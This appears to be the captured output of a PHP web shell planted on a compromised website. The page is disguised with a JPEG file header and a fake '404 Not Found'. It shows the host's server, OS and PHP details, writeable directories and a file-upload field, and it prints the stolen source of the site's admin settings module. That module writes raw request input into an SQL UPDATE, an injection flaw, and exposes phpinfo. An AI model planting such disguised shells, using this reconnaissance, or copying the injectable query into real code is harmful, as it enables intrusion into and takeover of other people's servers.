ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkewebvumi.com/admin_new/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkewebvumi.com/admin_new/mod/setting.php
<?php
class setting{
    function setting (){
        global $CORE;
        switch($CORE->input['code']) {
            default: $this->show_setting(); break;
            case 'update': $this->update_setting(); break;
            case 'indexsetting': $this->show_index(); break;
            case 'updateindex': $this->update_index(); break;
            case 'phpinfo': $this->php_info(); break;
        }
    }
    function php_info(){
        echo phpinfo();
        exit ();
    }
    function show_setting(){
        global $CORE,$func,$smarty,$DB;
        $smarty->assign('module_name','Cấu hình website');
        $smarty->assign('title','Cấu hình website');
        $CORE->vars['add_vi'] = $func->editor_new('add_vi',$CORE->vars['add_vi'],15);
        $CORE->vars['add_en'] = $func->editor_new('add_en',$CORE->vars['add_en'],15);

        $CORE->vars['mail_wrap_brackets'] = $func->yes_no($CORE->vars['mail_wrap_brackets'],'mail_wrap_brackets');
        $CORE->vars['disable_gzip']  = $func->yes_no($CORE->vars['disable_gzip'],'disable_gzip');
        $CORE->vars['nocache']  = $func->yes_no($CORE->vars['nocache'],'nocache');
        $smarty->assign('setting',$CORE->vars);
        $smarty->assign('status',$CORE->input['status']);
    }
    function update_setting (){
        global $DB,$CORE,$print;
        $input_arr =    $CORE->input;

        $orate = $CORE->input['orate'];
        $exrate = $CORE->input['exrate'];
        $t = $DB->compile_query ("conf_key,conf_value","NNCCMS_settings","WHERE conf_group='system'",'');
        while ( $row = $DB->fetch_row( $t) ){
            foreach ( $input_arr as $k => $v )
            {
                if ( $row['conf_key']==$k ) $DB->query("update NNCCMS_settings set conf_value='$v' where conf_key='$k'");
            }
        }
        $url = "index.php?act=setting&status=1";
        $print->refresh($url);
    }

}
$run	=	new setting();
?>

ZeroDay Forums Mini